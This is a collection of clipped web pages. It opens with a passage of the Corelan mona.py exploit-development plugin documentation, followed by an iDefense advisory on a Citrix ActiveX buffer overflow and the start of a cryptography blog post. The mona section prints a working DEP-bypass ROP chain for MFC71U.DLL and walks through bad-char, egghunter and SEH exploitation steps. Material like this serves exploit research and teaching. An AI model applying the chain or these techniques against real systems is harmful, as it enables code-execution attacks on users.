on EIP and then compare the array of bytes in memory with the original array
of bytes.

Before creating & using the byte array, you should ask yourself "what kind of
bytes are very likely going to be breaking the payload or altering the
behaviour of the application". If, for example, the buffer overflow gets
triggered because of a string copy function, it’s very likely that a null byte
will break the payload. A carriage return/line feed \(\x0a\x0d\) are common
bytes that would change the way the payload is read & processed by the
application as well, so in case of a string based overflow, you’ll probably
discover that those are bad chars too.

So let’s start with excluding those 3 bytes from the array. \(Of course, this
is all based on assumptions. If you want to be sure, don’t exclude anything
from the array yet\).

[code]

    !mona bytearray -b '\x00\x0a\x0d'
    
[/code]

Open "bytearray.txt" and copy the array. Open your exploit and paste the array
after overwriting EIP \(so instead of the 500 bytes, put the array\).

Then set the necessary breakpoints \(at the pointer you will use to control
EIP with in this case\) and trigger the crash. Your breakpoint should be hit,
and the byte array \(or a portion of it\) should be in memory somewhere.

The process of finding the bad chars is very simple. We can use another mona
feature to read the original byte array from the binary file that was created,
and compare those bytes with the array that is in memory at crash time.

Mona will then read the binary file, takes the first 8 bytes from the file,
locates all instances of those 8 bytes in memory, and compare each of the
bytes of the array with the bytes in memory, listing the ones that were not
altered, and listing the ones that were changed/corrupted.

[code]

    !mona compare -f bytearray.bin
    
[/code]

At this point, there are 2 things you should check in the output of this
command :

  * Find the location \(probably on the stack in this example\) where EIP would jump to. If you are building an exploit for a saved return pointer overwrite, you will most likely find your payload at ESP. Look at ESP \(or the location where your payload is\) and jot down that address. Open compare.txt, look for that address and you will get the list of bytes that were corrupted. Corruption can result in 2 types of behaviour : either the byte gets changed \(other bytes are still fine\), or all bytes after the bad char are different. Either way, unless you know what you are doing, only write down the first byte that was changed and add that byte to the list of bad chars. Then repeat the entire process \(create bytearray, paste array into exploit, trigger crash, compare\). So, if you discovery that for example \x59 is a bad char too, simply run the bytearray command again :

>
[code]

>     !mona bytearray -b '\x00\x0a\x0d\x5c'
>  
[/code]

> Repeat the entire process and do another compare. If the resulting array was
> found at the right location, unmodified, then you have determined all bad
> chars. If not, just find the next bad char, exclude it from the array and
> try again. The process might be time consuming, and there may even be better
> ways to do this, but this technique works just fine.
  * Look at other locations where your array was found. Maybe one of those locations have a non-corrupted copy of the array, providing you with an alternative location to place your shellcode without having to bother about bad chars. All you would need to do is write some jumpcode \(or egghunter\) to jump to that location.

Video on the use of "bytearray" and "suggest"

finding badchars

View the video online here

### compare

We already discussed the basic functionality of "compare" in the documentation
of previous command.

Mandatory argument :

  * -f <filename> : <filename> points to a binary file containing the bytes to locate and compare in memory

You can use this command to find bad chars \(as explained earlier\), but you
can also use it to see if your shellcode got corrupted in memory.

You could, for example, write tag+tag+shellcode \(egghunter egg\) to a binary
file and use the compare command to find the eggs and show if they got
corrupted or not. If some of them do, others don’t, you’ll know if and how you
have to tweak the start location of the hunter, or just use a checksum
routine.

> The compare routine will also try to find unicode versions of the binary
> file There’s no need to write the shellcode in unicode expanded format into
> the binary.
### config

We have discussed all features of the config command at the top of this
document.

### dump

The dump command allows you to dump a block of bytes from memory to a file.

Mandatory arguments :

  * -s <address> : the start address
  * -f <filename> : the name of the file to write the bytes to

Optional argument :

  * -n : size \(nr of bytes to read & write to file\)  **_or_**
  * -e <address> : the end address

Either the end address or the size of buffer needs to be specified.

Example : write all bytes from 0012F100 to 0012F200 to file c:\tmp\test.bin

[code]

    !mona dump -s 0x0012F100 -e 0x0012F200 -f "c:\tmp\test.bin"
    
[/code]

### egg

This command will create an egghunter routine.

Optional arguments :

  * -t : tag \(ex: w00t\). Default value is w00t
  * -c : enable checksum routine. Only works in conjunction with parameter -f
  * -f <filename> : file containing the shellcode
  * -depmethod <method> : method can be "virtualprotect", "copy" or "copy\_size"
  * -depreg <reg> : sets the register that contains a pointer to the API function to bypass DEP. By default this register is set to ESI
  * -depsize <value> : sets the size for the dep bypass routine
  * -depdest <reg> : this register points to the location of the egghunter itself. When bypassing DEP, the egghunter is already marked as executable. So when using the copy or copy\_size methods, the DEP bypass in the egghunter would do a "copy 2 self". In order to be able to do so, it needs a register where it can copy the shellcode to. If you leave this empty, the code will contain a GetPC routine.

If you don’t specify a file containing shellcode, it will simply produce a
regular egghunter routine. If you specify a filename, you’ll have the ability
to use option -c, which will insert a checksum routine for the shellcode in
the file. The checksum routine will only work for that particular shellcode
\(or any other shellcode with the same size, producing the same checksum value
:\) \)

Using the various -dep\* parameters, you can tell the egghunter routine to
create code that will bypass DEP on the found egg, before running it. You can
find more information about this technique here.

### filecompare

The filecompare command allows you to compare the output of a certain mona
command with the output of the same mona command from another system, looking
for matching pointers, that point to the same instruction. If you are looking
for pointers that match across OS versions for example, this may be the
command you need.

Mandatory argument :

  * -f "file1,file2" : specify all files to compare, separated with comma’s. The first file in the list will be used as the reference

Optional arguments :

  * -contains "blah" : only look at lines that contain a certain string
  * -nostrict : this will also list pointers even if the instruction associated with the pointer is different

Let’s say "seh\_xpsp3.txt" was created on XP SP3, and "seh\_win2k3.txt" was
created on a 2003 server, then this is the command that will indicate the
pointers that exist in both files :

[code]

    !mona compare -f "c:\temp\seh_xpsp3.txt,c:\temp\seh_win2k3.txt"
    
[/code]

The filecompare command will produce 2 files :

  * filecompare.txt \(containing the pointers that exist in all files\)
  * filecompare\_not.txt \(containing the pointers that don’t exist in all files\)

Note : the more files \(and the bigger the files\), the longer this process
will take. \(nested iterations\)

### find

The "find" command has improved a lot since its initial implementation in
pvefindaddr. It’s faster, but above all it’s more flexible and has a shiney
new "recursive" search feature.

Mandatory argument :

  * -s <search> : search for a string, a series of bytes, an instruction, or a filename containing lines that start with a pointer \(mona generated files\) \(-> use in conjunction with type "file"\)

By default, mona will attempt to guess the type of the search by looking at
the search pattern. It is recommended, however, to use option -type <type>

Optional arguments :

  * -type <type> : set the type of the search pattern. The type can be "asc", "bin", "ptr", "instr" and "file"
  * -b <address> : the bottom of the search range
  * -t <address> : the top of the search range
  * -c : skip consecutive pointers, try to get the length of the total string instead
  * -p2p : find pointers to pointers to your search pattern \(this setting is an alias for setting -level to 1\)
  * -r <number> : use in conjunction with p2p : allows you to find "close" pointers to pointers. The number indicates the nr of bytes the resulting pointer can be above the actual location
  * -level <number> : do recursive search \(pointers to pointers\). If you set level to 1, it will look for pointers to pointers to the search pattern. You can set level to a higher value to perform deeper search \(ptr to ptr to prt to …\). This is without a doubt one of the most powerful features of this find command.
  * -offset <value> : this value will be subtracted from the pointer at a given level \(see offsetlevel\). Use in combination with -level and -offsetlevel
  * -offsetlevel <value> : this is the level where the value will be subtracted from the pointer to search

By default, "find" will look for all locations \(accesslevel set to \*\).
Furthermore, by default, it will search the entire memory space \(including
the memory space of modules that were excluded\).

Example : Find all locations where the string "w00t" can be found :

[code]

    !mona find -type asc -s "w00t"
    
[/code]

Example : Find all executable locations that have a pointer to "jmp ecx"

[code]

    !mona find -type instr -s "jmp ecx" -p2p -x X
    
[/code]

Example : Find ALL locations that have a pointer to any of the pointers in
file c:\temp\seh.txt

[code]

    !mona find -type file -s "c:\temp\seh.txt" -p2p -x *
    
[/code]

Example : let’s say you control ECX, and your payload is at ESP+4

This is the code that will give you control over EIP :

  * MOV EAX,DWORD PTR DS:\[ECX\]
  * CALL \[EAX+58\]

The idea is to retun to the payload at ESP+4 to initiate a rop chain.

Think about it. What kind of pointer would we need to put in ECX ?

Answer : We need a pointer to a pointer\(2\), where pointer\(2\) – 0×58 points
to a pointer to ADD ESP,4/RET.

For sure you find one manually. If you have time.

In order to instruct mona to find all pointers, you’ll need 2 commands :

  * One to find all stackpivots of 4
  * One to find the ptr to ptr-0×58 to ptr to one of the stackpivots

Solution :

[code]

    # first, get all stackpivots, save output to c:\logs\stackpivot.txt
    !mona config -set workingfolder c:\logs
    !mona stackpivot -distance 4,4
    
    # read the file and find ptr to ptr-58 to each of the pointers
    !mona find -type file -s "c:\logs\stackpivot.txt" -x *
          -offset 88 -level 2 -offsetlevel 2 
    
[/code]

So basically, we need to apply the offset to level 2. \(which is "look for ptr
to ptr to ptr" in this case, because we already read ptr to the instructions
into stackpivot\)

Before looking for a pointer to a pointer in that level, the offset will be
subtracted from the target pointer first.

Hint : in order to debug this routine, you’ll have to set a breakpoint on
reading \[ECX\]. Suppose you put 7a10b473 in ECX, then – prior to triggering
the bug - set a breakpoint on reading that location :

[code]

    !mona bp -t READ -a 0x7a10b473
    
[/code]

### findmsp

The findmsp command will find all instances or certain references to a cyclic
pattern \(a.k.a. "Metasploit pattern"\) in memory, registers, etc

This command has an important requirement : you have to use a cyclic pattern
to trigger a crash in your target application.

At crash time, simply run findmsp and you will get the following information :

  * Locations where the cyclic pattern can be found \(looks for the first bytes of a pattern\) and how long that pattern is
  * Registers that are overwritten with 4 byte of a cyclic pattern and the offset in the pattern to overwrite the register
  * Registers that point into a cyclic pattern, the offset, and the remaining size of the pattern
  * SEH records overwritten with 4 bytes of a cyclic, offset, and size
  * Pointers on the current thread stack, into a cyclic pattern \(offset + size\)
  * Parts of a cyclic pattern on the stack, the offset from the begin of the pattern and the size of the pattern

In all cases, findmsp will search for normal pattern, uppercase,lowercase, and
unicode versions of the cyclic pattern.

Optional argument :

  * -distance <value> : This value will set the distance from ESP \(both + and -\) to search for pointers to cyclic pattern, and parts of a cyclic pattern. If you don’t specify distance, findmsp will search the entire stack \(which might take a little while to complete\)

Other optional arguments in terms of patters to use : see pattern\_create

### getpc

GetPC will output 3 different GetPC routines that put the getpc value into a
register. This can come handy when you are writing some custom shellcode.

Mandatory argument :

  * -r <reg> : where reg is a valid register

Example :

### header

The header command will read a file and output the contents of the file in
such a way it can be used in an exploit \(as a "nice" header\).

Mandatory argument :

  * -f <filename> : the file to read

Example : Let’s say you are building a fileformat exploit, and the header of
the file \(in a hex editor\) looks like this :

[code]

    !mona header -f c:\temp\song.s3m
    
[/code]

The "header" command will return this :

\(Note : the output is in ruby format\)

### help

The help command provides you with more information about a given command.

Mandatory argument :

  * <command> : the name of the command

Example : suppose you want to get more information about the "findmsp" command
:

[code]

    !mona help findmsp
    
[/code]

###

### info

This command will show some information about a given pointer

Mandatory argument :

  * -a <address>

The output will contain

  * information about the pointer
  * information about the module it belongs to \(or indicate if this is a stack pointer\)
  * the instruction at that address
  * the access level of the page the pointer belongs to

### j

This command is just an alias for the "jmp" command. "J" was part of
pvefindaddr, so we decided to keep it for backwards compatibility.

### jmp

This command will search for pointers that will lead to execute the code
located at the address pointed by a given register.

Mandatory argument :

  * -r <reg> : where <reg> is a valid register

Default module criteria : skip aslr and rebase modules. The search will
include OS modules by default, but you can overrule that behaviour by using
the -cm os=false global option.

The command will search for pointers to the following instructions \(where reg
is the register to jump to, and r32 any register\) :

  * jmp reg
  * call reg
  * push reg + ret \(+ offsets\)
  * push reg + pop r32 + jmp r32
  * push reg + pop r32 + call r32
  * push reg + pop r32 + push r32 + ret \(+ offset\)
  * xchg reg,r32 + jmp r32
  * xchg reg,r32 + call r32
  * xchg reg,r32 + push r32 + ret \(+ offset\)
  * xchg r32,reg + jmp r32
  * xchg r32,reg + call r32
  * xchg r32,reg + push r32 + ret \(+ offset\)
  * mov r32,reg + jmp r32
  * mov r32,reg + call r32
  * mov r32,reg + push r32 + ret \(+offset\)

### jop

This command will search for gadgets that can be used in a JOP \(Jump Oriented
Programming\) payload. The current implementation is very basic, more work
will be done in this area over the next few weeks and months.

The code will search for gadgets ending with the following instructions :

  * jmp r32
  * jmp \[esp\]
  * jmp \[esp+offset\]
  * jmp \[r32\]
  * jmp \[r32+offset\]

Output will be written to jop.txt

### jseh

This command is an alias for "seh". In pvefindaddr, this command would search
for safeseh bypass pointers in memory outside of the loaded modules. Mona does
all of that using the "seh" command.

### modules

The modules command shows information about loaded modules. Without
parameters, it will show all loaded modules \(but you can use the global
options to filter the modules to display\)

### noaslr

This command is a wrapper around the "modules" command. It will show all
modules that don’t have aslr enabled by calling the modules function with
global option -cm aslr=false

### nosafeseh

This command is a wrapper around the "modules" command. It will show all
modules that don’t have safeseh enabled by calling the modules function with
global option -cm safeseh=false

### nosafesehaslr

This command is a wrapper around the "modules" command. It will show all
modules that don’t have safeseh and aslr enabled by calling the modules
function with global option -cm safeseh=false,aslr=false

### offset

This command will show the distance between 2 addresses, and will show the
offset in hex which can be used to make a jump forward or backwards.

Mandatory arguments :

  * -a1 : the start address or register
  * -a2 : the end address or register

### p

This command is an alias for the "seh" command. By default, the "p" command
will search in non safeseh and non rebase modules.

### p1

This command is an alias for the "seh" command. By default, the "p1" command
will search in non safeseh, non aslr and non rebase modules.

### p2

This command is an alias for the "seh" command. By default, the "p" command
will search in all loaded modules.

### pattern\_create

This command will produce a cyclic pattern \(a.k.a. metasploit pattern\) of a
given size and write it to pattern.txt

Mandatory argument :

  * <number> : where <number> is the desired length of the pattern

Example : if you want a 5000 byte pattern, run this :

[code]

    !mona pattern_create 5000
    
[/code]

By default, patterns are created using the following 3 character sets :

  1. uppercase characters
  2. lowercase characters
  3. numeric

You can use the following optional arguments to change this default behaviour
:

  * extended : will add additional chars to the 3rd \(numeric\) charset : ,.;+=-\_\!&\(\)\#@’\(\{\}\)\[\]%
  * c1 <string> : set your own characters, replacing the first charset used
  * c2 <string> : set your own characters, replacing the second charset used
  * c3 <string> : set your own characters, replacing the third charset used

If you use a custom pattern charset, don’t forget to the same charset options
for all related commands \(pattern\_offset, findmsp, suggest\)

### pattern\_offset

This command will locate the given 4 bytes in a cyclic pattern and return the
position \(offset\) of those 4 bytes in the pattern.

Mandatory argument :

  * <search>, where <search> are the 4 bytes to look for. You can specify the 4 bytes as a string, bytes or pointer

pattern\_offset will look for the 4 bytes in a normal, uppercase and lowercase
pattern, and will also try to find the reversed search bytes in those patterns
\(in case you reversed the parameter\)

Optional arguments : see pattern\_create

### pc

Alias for pattern\_create

### po

Alias for pattern\_offset

### rop

The rop command will do a couple of things :

  * search rop gadgets \(rop.txt\)
  * classify the rop gadgets and build a list of suggested gadgets \(rop\_suggestions.txt\)
  * find stackpivots \(rop\_stackpivots.txt\)
  * attempt to produce an entire rop chain \(rop\_virtualprotect.txt\) \(Yes, ROP automation ftw \!\)

By default, it will look for gadgets in non aslr, non rebase and non OS
modules. Again, you can tweak/overrule these criteria using one or more global
options.

Optional arguments :

  * -offset <value> : set the maximum offset value for RETN instruction \(at the end of the gadget\). Default value is 40
  * -distance <value> : set the minimum value / distance for stack pivots. If you want to set a minimum and maximum value, use -distance min,max \(basically use 2 values, separate by comma\)
  * -depth : set the maximum number of instructions to look back from the ending instruction. Default is 6
  * -split : don’t save all gadgets into a single rop.txt file, but split up the gadgets in a file per module
  * -fast : skip non-interesting gadgets. This might speed up the process, but might make you miss some important gadgets as well
  * -end <instruction> : specify a custom ending instruction. By default, the ending instruction is RETN
  * -f "file1,file2,file3" : instead of doing an in memory search, read gadgets from one or more rop.txt files created earlier with mona. If you want to use multiple files, make sure to separate them with comma’s. It is advised to still attach the debugger to the application when using this option, so mona can locate all information needed to build a rop chain.

Example : generate rop gadgets and automatically produce a ROP chain using 4
particular modules, and list the stackpivots with a distance between 800 and
1200 bytes.

[code]

    !mona rop -m "libglib,libatk,libgdk-win32,libgtk-win32" -distance 800,1200
    
[/code]

Result :

Note : output is, again, ruby \(and thus very much Metasploit friendly\)

Based on the number of modules to query, the rop routine can be fast or very
slow. The more precise your instructions to mona, the faster and more accurate
the results will be.

As an example, take a look at this post :
https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-
msvcr71-dll-and-mona-py/

I used mona to produce a rop chain for one module \(17 seconds\). The module
was not complete, so I had to find 3 more gadgets, which can be found in
rop\_suggestions.txt and rop.txt. It took me only a few minutes to find them,
fix the chain and have a generic/universal dep/aslr bypass rop chain.

A second example to demonstrate the possibilities to build generic rop chains
can be found below. Similar to msvcr71.dll, mona produced the majority of the
chain. We simply had to fix one issue \(to get a desired value into EDX\), but
using the rop\_suggestions.txt file, this took just a few seconds.

Generic rop chain using mfc71u.dll :

[code]

    # MFC71U.DLL generic ROP Chain
    # Module: [MFC71U.DLL]
    # ASLR: False, Rebase: False, SafeSEH: True, OS: False,
    # v7.10.3077.0 (C:\Program Files\CyberLink\PowerProducer\MFC71U.DLL)
    # mona.py
    rop_gadgets =
    [
    0x7c259e0c,# POP ECX # RETN (MFC71U.DLL)
    0x7c2512f0,# <- *&VirtualProtect()
    0x7c2fe7bc,# MOV EAX,DWORD PTR DS:[ECX] # RETN (MFC71U.DLL)
    0x7c26f014,# XCHG EAX,ESI # RETN (MFC71U.DLL)
    0x7c2c0809,# POP EBP # RETN (MFC71U.DLL)
    0x7c289989,# ptr to 'jmp esp' (from MFC71U.DLL)
    0x7c259e0c,# POP ECX # RETN (MFC71U.DLL)
    0x7c32b001,# RW pointer (lpOldProtect) (-> ecx)
    0x7c2de810,# POP EDI # RETN (MFC71U.DLL)
    0x7c2de811,# ROP NOP (-> edi)
    0x7c284862,# POP EAX # RETN (MFC71U.DLL)
    0xffffffc0,# value to negate, target 0x00000040, -> reg : edx, via ebx
    0x7c252ea0,# NEG EAX # RETN (MFC71U.DLL)
    0x7c316b89,# XCHG EAX,EBX # RETN (MFC71U.DLL)
    0x7c288c52,# XOR EDX,EDX # RETN (MFC71U.DLL)
    0x7c265297,# ADD EDX,EBX # POP EBX # RETN 10 (MFC71U.DLL)
    0x41414141,# EBX
    0x7c284862,# POP EAX # RETN (MFC71U.DLL)
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141, # compensate for RETN 10
    0xfffffdff,# value to negate, target 0x00000201, target reg : ebx
    0x7c252ea0,# NEG EAX # RETN (MFC71U.DLL)
    0x7c316b89,# XCHG EAX,EBX # RETN (MFC71U.DLL) (dwSize)
    0x7c284862,# POP EAX # RETN (MFC71U.DLL)
    0x90909090,# NOPS (-> eax)
    0x7c2838ef,# PUSHAD # RETN (MFC71U.DLL)
    ].pack("V*")
    
[/code]

> **If you have produced a generic chain \(a chain which will work under all
> circumstances, bypassing DEP and ASLR\), please send it to me \(peter
> \[dot\] ve \[at\] corelan \[dot\] be\). If the chain complies with all
> requirements, we will post it here : Corelan ROPdb. If you can send in a rop
> chain before july 22nd 2011, you can even win a ticket to B-Sides Las Vegas
> \!**
Short demo on the use of \!mona rop, used during my talks at AthCon and Hack
In Paris :

View video online here

### ropfunc

Ropfunc will attempt to locate pointers to interesting functions in terms of
bypassing DEP. Output is written to ropfunc.txt.

The functions it will look for are :

  * virtualprotect
  * virtualalloc
  * heapalloc
  * winexec
  * setprocessdeppolicy
  * heapcreate
  * setinformationprocess
  * writeprocessmemory
  * memcpy
  * memmove
  * strncpy
  * createmutex
  * getlasterror
  * strcpy
  * loadlibrary
  * freelibrary
  * getmodulehandle

### seh

This command will search for pointers to routines that will lead to code
execution in a SEH overwrite exploit. By default, it will attempt to bypass
SafeSEH by excluding pointers from rebase, aslr and safeseh protected modules.
It will also search for pointers in memory locations outside of loaded
modules. Output will be written into seh.txt

The command will search for the following instruction gadgets :

  * pop r32 / pop r32 / ret \(+ offset\)
  * pop r32 / add esp+4 / ret \(+ offset\)
  * add esp+4 / pop r32 / ret \(+offset\)
  * add esp+8 / ret \(+offset\)
  * call dword \[ebp+ or -offset\]
  * jmp dword \[ebp+ or -offset\]
  * popad / push ebp / ret \(+ offset\)

> Tip : If you can’t find a working pointer, you can still use the
> "stackpivot" command, using -distance 8,8
### stackpivot

This command will search for gadgets that will result in pivoting back into
the stack, at a given offset from the current value of ESP. By default, it
will look for pivots in non aslr, non rebase and non os modules, and it will
group safeseh/non safeseh protected modules together.

Optional arguments :

  * -offset <value> : define the maximum offset for RET instructions \(integer, default : 40\)
  * -distance <value> : define the minimum distance for stackpivots \(integer, default : 8\) If you want to specify a min and max distance, set the value to min,max
  * -depth <value> : define the maximum nr of instructions \(not ending instruction\) in each gadget \(integer, default : 6\)

Output will be written to rop\_stackpivot.txt

> Tip : if you are looking for a way to take advantage of a SEH overwrite to
> return to your payload, you can also look for pop r32/pop r32/pop esp/ret,
> which will bring you back to nseh \(but treating the 4 bytes at nseh as a
> pointer, not as instructions\). Look for stackpivots with a distance of 12
> to find possible candidates. At nseh, you can simply put a pointer to ADD
> ESP,4 + RETN to skip the pointer at SEH, and kick off the rop chain placed
> after the SEH record.
### stacks

This command will list stack information for each thread in the application
\(base, top, size, thread ID\)

### suggest

This command will automatically run findmsp \(so you have to use a cyclic
pattern to trigger a crash\), and then take that information to suggest an
exploit skeleton.

pvefindaddr already suggested a payload layout based on that information, mona
takes things one step further. In fact, it will attempt to produce a full
blown Metasploit module, including all necessary pointers and exploit layout.

If the findmsp \(ran automatically as part of "suggest"\) has discovered that
you control EIP or have overwritten a SEH record, it will attempt to create a
Metasploit module.

First, it will ask you to select the "type of exploit". You can choose between

  * fileformat
  * network client \(tcp\)
  * network client \(udp\)

\(Simply pick the one that is most relevant, you can obviously change it
afterwards\)

If you have selected "fileformat", it will prompt you for a file extension. If
you have selected one of the "network client" types, it will ask you to
provide a port number.

Next, mona will ask you if you have a link to an exploit-db advisory. If you
are porting an exploit from exploit-db, you can simply provide the full URL
\(or the exploit-db ID\) to the advisory and mona will attempt to extract the
exploit name and the original authors from the exploit-db header.

If you don’t have a link to an existing exploit-db entry, just leave the
"exploit-db" entry empty.

Finally, mona will build a Metasploit file \(exploit.rb\) based on the
information it could gather using the findmsp command \(and the information
you provided\)

While the resulting module may not work right out of the box \(you may have to
add a header for example, or fix a few things\), it will try to build/suggest
something useful.

Optional arguments in terms of pattern to look for: see pattern\_create. Hint
: make sure to use the same charset options as the ones you used to create the
cyclic pattern

Example :

http://www.youtube.com/watch?v=k6C7kWBe0Vs

View the video online here

### skeleton

This command allows you to create an "empty" metasploit skeleton module for a
given type of exploit \(fileformat, tcp or udp client\), using a cyclic
pattern as payload. If you are trying to build an exploit from scratch, this
may be a good start. Output will be written to msfskeleton.rb

Optional argument :

  * -c <number> : length of the cyclic pattern. Default value is 5000

## Metasploit

You may have noticed that the output of \!mona rop and \!mona suggest are very
much Metasploit friendly \(to say the least\). The fact that Corelan Team
likes Metasploit and appreciates all the hard work that is being put into the
framework is just one of the reasons. We also believe that writing Metasploit
modules will \(or should\) ‘force’ you to write better and more reliable
exploits. Figuring out bad chars, determining available payload size, laying
out the most optimal stucture for your exploit, building reliable exploits
that work across OSs, bypass DEP/ASLR, etc are just a few requirements for
good Metasploit modules. It’s clear that it requires more dedication and in
some cases more skills than writing a one-shot script with a hardcoded payload
that happens to work because you got lucky :\)

Anyways, If mona.py can assist you in some parts of your exploit development
experience, then we accomplished our goal.It’s not a perfect tool. It still
requires you and your skillset to direct it and to make it return what you are
looking for.

Remember : don’t forget to submit your exploit module to Metasploit.
\(msfdev@metasploit.com\)

## Discovered a bug, suggest new features / want to contribute ?

Head over to https://redmine.corelan.be and register a user account. When your
user account has been approved, you will have the ability to create bug
reports or feature requests.

Navigate to https://redmine.corelan.be/projects/mona/issues/new to create a
new ticket. Set the "tracker" field to either "bug" or "feature", and make
sure to use a meaningful subject and a verbose description.

The team really appreciates and welcomes all forms of contribution, so if you
want to submit your changes, make sure to use the latest trunk version of
mona, implement your changes, and create a "diff" or "patch" file. Attach the
patch file to the redmine ticket and we’ll test / implement it.

You can see all open tickets here :
https://redmine.corelan.be/projects/mona/issues/

> Again, as mentioned earlier, if you have been able to produce a generic ROP
> chain, feel free to send it over. if the chain is generic, we’ll host it on
> the Corelan ROPdb page
## Want to learn how to write exploits ?

Take a look at the Corelan Team exploit writing tutorials :
https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/
\(start at the bottom of the list and work your way up\).

Alternatively, if you prefer class based training, you can check out the
Corelan Live Win32 Exploit Writing Bootcamp training here :
https://www.corelan-training.com/index.php/training/corelan-live/

## Need help ?

If you have questions, you can post them in our forums :
https://www.corelan.be/index.php/forum/writing-exploits/

If you prefer to talk to Corelan members directly, or to other people in the
community, connect to IRC \(irc.freenode.net\) register a nickname, and join
channel \#corelan.

## Mona.py on the web

If you want to share your experiences with mona.py, publish a post or document
demonstrating the use of one or more mona.py features, let us know and we’ll
be more than happy to link back to your site.

if you like mona.py, tell it to the world. If you don’t like mona.py, let us
know too.

thanks

* * *
_Pictures used with permission:_ _digitalart / FreeDigitalPhotos.net_

_Metasploit logo used with permission. Metasploit is a registered trademark of
Rapid7 LLC_

* * *
© 2011, Corelan Team \(corelanc0d3r\). All rights reserved.

Copyright secured by Digiprove © 2011 Peter Van Eeckhoutte | Corelan GCV
### Related Posts:

  * Mona 1.0 released \!
  * Universal DEP/ASLR bypass with msvcr71.dll and mona.py
  * Starting to write Immunity Debugger PyCommands : my cheatsheet
  * Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
  * Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s\[TM\] Cube
  * BlackHat Europe 2011 / Day 01
  * Offensive Security Exploit Weekend
  * Exploit writing tutorial part 8 : Win32 Egg Hunting
  * Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development
  * Hack Notes : Ropping eggs for breakfast

Posted in 001\_Security, Exploit Writing Tutorials | Tagged automation, corelan, corelanc0d3r, documentation, exploit, exploit development, immunity, immunity debugger, metasploit, mona, mona.py, pattern, plugin, pycommand, python, rapid7, rop, rop automation, rop gadget, suggest
###

# Public Advisory: 07.14.11 // iDefense Labs

**Created:**| _7/19/2011 7:08:52 PM_  
---|---  
**Updated:**| _7/19/2011 7:15:31 PM_  
**Author:**| __  
**Tags:**| _vulnerability virtusalisation LOLZ_  
  

PUBLIC ADVISORY: 07.14.11

PUBLIC ADVISORY: 07.14.11

PUBLIC ADVISORY: 07.14.11

Home // Current Intelligence // Vulnerability Advisories // Public Advisory:
07.14.11

<img src='img/Temp2_6479.gif' width='45' height='10' alt='Email This Page URL'
/> <img src='img/Temp2_6477.gif' width='48' height='10' alt='Print This Page'
/>

Citrix Access Gateway ActiveX Stack Buffer Overflow Vulnerability

#### I. BACKGROUND

Citrix's Access Gateway solution provides remote access to customers via the
Web browser. This is accomplished through the use of an ActiveX control that
enables an SSL based VPN. The control itself is provided by the server upon
connecting. Access Gateway functionality is provided by several models of
Access Gateway Appliances. For more information, visit the URL referenced
below.

#### II. DESCRIPTION

Remote exploitation of a buffer overflow in Citrix Systems, Inc.'s Access
Gateway Client ActiveX control allows remote attackers to execute arbitrary
code.

The vulnerability exists within the ActiveX control with the following
identifiers:

[code]

      CLSID: 181BCAB2-C89B-4E4B-9E6B-59FA67A426B5
      ProgId: NSEPA.NsepaCtrl.1
      File: %WINDIR%\Downloaded Program Files\nsepa.ocx
    
    
[/code]

When processing HTTP header data provided by the Access Gateway server, the
client ActiveX control copies a variable length string into a fixed-size stack
buffer. Due to insufficient input validation, a trivially exploitable stack-
based buffer overflow can occur.

#### III. ANALYSIS

Exploitation allows attackers to execute arbitrary code in the context of the
currently logged-on user. To exploit this vulnerability, a targeted user must
load a malicious Web page created by an attacker. An attacker typically
accomplishes this via social engineering or injecting content into
compromised, trusted sites.

Additionally, a targeted user must have this control already installed or must
accept several warning prompts at the time that the attack is taking place.
This control is not on the white list included with Internet Explorer 7.0.
More information can be found at the following URL.

http://msdn.microsoft.com/en-us/library/bb250471.aspx

This particular control also has an additional prompt inquiring whether or not
the user wishes to allow an "Endpoint Analysis" scan. The options presented
are "Yes", "No", and "Always Allow". Clicking "Yes" or "Always Allow" can lead
to exploitation. Clicking "No" can not result in exploitation. Also, clicking
"Always Allow" will create a registry key enabling automatic scanning for all
future uses of the control.

#### IV. DETECTION

The following versions of Citrix Access Gateway Enterprise Edition are
vulnerable:

  * Version 8.1 prior to 8.1-67.7
  * Version 9.0 prior to 9.0-70.5
  * Version 9.1 prior to 9.1-96.4

#### V. WORKAROUND

Setting the kill-bit for this control will prevent it from being loaded within
Internet Explorer. However, doing so will prevent legitimate use of the
control.

#### VI. VENDOR RESPONSE

Citrix has released a patch which addresses this issue. Information about
downloadable vendor updates can be found by clicking on the URLs shown.

https://www.citrix.com/English/ss/downloads/results.asp?productID=1500 5

#### VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures \(CVE\) number has not been
assigned yet.

#### VIII. DISCLOSURE TIMELINE

07/01/2009 Initial Vendor Notification  
07/02/2009 Initial Vendor Reply  
07/14/2011 Coordinated Public Disclosure  

#### IX. CREDIT

This vulnerability was reported to iDefense by Michal Trojnara.

Get paid for vulnerability research  
http://labs.idefense.com/methodology/vulnerability/vcp.php

Free tools, research and upcoming events  
http://labs.idefense.com/

#### X. LEGAL NOTICES

Copyright © 2011 Verisign  
  
Permission is granted for the redistribution of this alert electronically. It
may not be edited in any way without the express written consent of iDefense.
If you wish to reprint the whole or any part of this alert in any other medium
other than electronically, please e-mail customer service for permission.  
  
Disclaimer: The information in the advisory is believed to be accurate at the
time of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There are no
warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect, or consequential
loss or damage arising from use of, or reliance on, this information.

// Current Intelligence

Intelligence Deliverables

Research Papers

Vulnerability Advisories

Vulnerability Advisories: <img src='img/Temp2_6478.gif' alt='XML RSS 2.0' />

If you can read this text, it is likely that you either have JavaScript
disabled or your browser does not support JavaScript.  
This will compromise your browsing experience and it is recommended that you
enable JavaScript.  
  
**Click here** to dismiss this warning.  
  
If you continue to see this message, you should add "\*.idefense.com" to your
cookie whitelist.  
You can read more about cookies in our privacy policy.  

# Moxie Marlinspike >> Blog >> The Cryptographic Doom Principle

**Created:**| _1/10/2015 3:44:32 PM_  
---|---  
**Updated:**| _1/10/2015 3:44:32 PM_  
**Author:**| __  
**Tags:**| __  
  

# Moxie Marlinspike >> Blog >> The Cryptographic Doom Principle

When it comes to designing secure protocols, I have a principle that goes like
this: if you have to perform _any_ cryptographic operation before verifying
